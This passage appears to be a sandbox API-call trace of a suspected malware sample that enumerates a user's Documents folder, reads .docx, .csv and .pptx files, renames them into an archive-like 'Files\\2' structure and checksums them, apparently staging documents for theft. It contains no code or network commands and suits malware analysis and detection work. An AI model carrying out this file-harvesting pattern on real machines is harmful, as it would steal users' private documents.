psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", len=0x31 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", len=0x31 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..") returned 1 [0165.939] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5a25b70, ftCreationTime.dwHighDateTime=0x1d5d876, ftLastAccessTime.dwLowDateTime=0x6c83cfe0, ftLastAccessTime.dwHighDateTime=0x1d5e24b, ftLastWriteTime.dwLowDateTime=0x6c83cfe0, ftLastWriteTime.dwHighDateTime=0x1d5e24b, nFileSizeHigh=0x0, nFileSizeLow=0x5602, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-B8VZiXAJgeyuxM1J9Dr.docx", cAlternateFileName="-B8VZI~1.DOC")) returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.940] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x35 | out: pbstr=0x1e7dfa00*="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x35 | out: pbstr=0x1e7df978*="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x35 | out: pbstr=0x1e7dfa00*="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x34 | out: pbstr=0x1e7df974*="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x34 | out: pbstr=0x1e7dfa00*="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.941] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x34 | out: pbstr=0x1e7df970*="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x34 | out: pbstr=0x1e7dfa00*="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\jNZkgQds.doc", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", len=0x48 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.943] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx" (normalized: "c:\\users\\aetadzjz\\documents\\z8q_ydu1jaodnbm6rg\\-b8vzixajgeyuxm1j9dr.docx")) returned 0x20 [0165.943] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx" (normalized: "c:\\users\\aetadzjz\\documents\\z8q_ydu1jaodnbm6rg\\-b8vzixajgeyuxm1j9dr.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0165.943] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0x5602 [0165.943] VirtualAlloc (lpAddress=0x1fd14000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd14000 [0165.944] ReadFile (in: hFile=0x310, lpBuffer=0x1fd12be8, nNumberOfBytesToRead=0x5602, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fd12be8*, lpNumberOfBytesRead=0x1e7df944*=0x5602, lpOverlapped=0x0) returned 1 [0165.945] CloseHandle (hObject=0x310) returned 1 [0165.945] CharToOemBuffA (in: lpszSrc="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", lpszDst=0x1fd181f8, cchDstLength=0x34 | out: lpszDst="Files\\2\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx") returned 1 [0165.945] VirtualAlloc (lpAddress=0x1fd1c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd1c000 [0165.946] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd18280, Length=0x5602) returned 0x171ca633 [0165.946] VirtualAlloc (lpAddress=0x1fd58000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd58000 [0165.946] VirtualFree (lpAddress=0x1fd20000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.948] VirtualFree (lpAddress=0x1fd40000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0165.949] VirtualFree (lpAddress=0x1fd1c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.949] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.949] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.949] VirtualFree (lpAddress=0x1fd14000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0165.950] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3342e70, ftCreationTime.dwHighDateTime=0x1d5e5cc, ftLastAccessTime.dwLowDateTime=0x3f28a190, ftLastAccessTime.dwHighDateTime=0x1d5e6ee, ftLastWriteTime.dwLowDateTime=0x3f28a190, ftLastWriteTime.dwHighDateTime=0x1d5e6ee, nFileSizeHigh=0x0, nFileSizeLow=0xc3eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4Xb1XZcxF82.csv", cAlternateFileName="4XB1XZ~1.CSV")) returned 1 [0165.950] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\-B8VZiXAJgeyuxM1J9Dr.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv") returned 1 [0165.950] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", len=0x3e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv") returned 1 [0165.950] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv") returned 1 [0165.950] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", len=0x3e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv") returned 1 [0165.950] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv") returned 1 [0165.950] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", len=0x3e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv") returned 1 [0165.951] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv") returned 1 [0165.951] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d3b0, ftCreationTime.dwHighDateTime=0x1d5e543, ftLastAccessTime.dwLowDateTime=0x89d19f80, ftLastAccessTime.dwHighDateTime=0x1d5da46, ftLastWriteTime.dwLowDateTime=0x89d19f80, ftLastWriteTime.dwHighDateTime=0x1d5da46, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7hCRqlfD-iyUCiLmVFAD.pptx", cAlternateFileName="7HCRQL~1.PPT")) returned 1 [0165.951] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\4Xb1XZcxF82.csv", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx") returned 1 [0165.951] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", len=0x48 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx") returned 1 [0165.951] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx") returned 1 [0165.951] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", len=0x48 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx") returned 1 [0165.951] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx") returned 1 [0165.951] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", len=0x48 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx") returned 1 [0165.952] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx", len=0x48 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\7hCRqlfD-iyUCiLmVFAD.pptx") returned 1 [0165.952] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="7hCRqlfD-iyUCiLmVFAD.pptx", cchWideChar=25, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7hCRqlfD-iyUCiLmVFAD.pptxg\\-B8VZiXAJgeyuxM1J9Dr.docxCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 25 [0165.952] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="7hCRqlfD-iyUCiLmVFAD.pptx", cchWideChar=25, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7hCRqlfD-iyUCiLmVFAD.pptxg\\-B8VZiXAJgeyuxM1J9Dr.docxCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 25 [0165.952] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="7hCRqlfD-iyUCiLmVFAD.pptx", cchWideChar=25, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7hCRqlfD-iyUCiLmVFAD.pptxg\\-B8VZiXAJgeyuxM1J9Dr.docxCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 25 [0165.952] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: 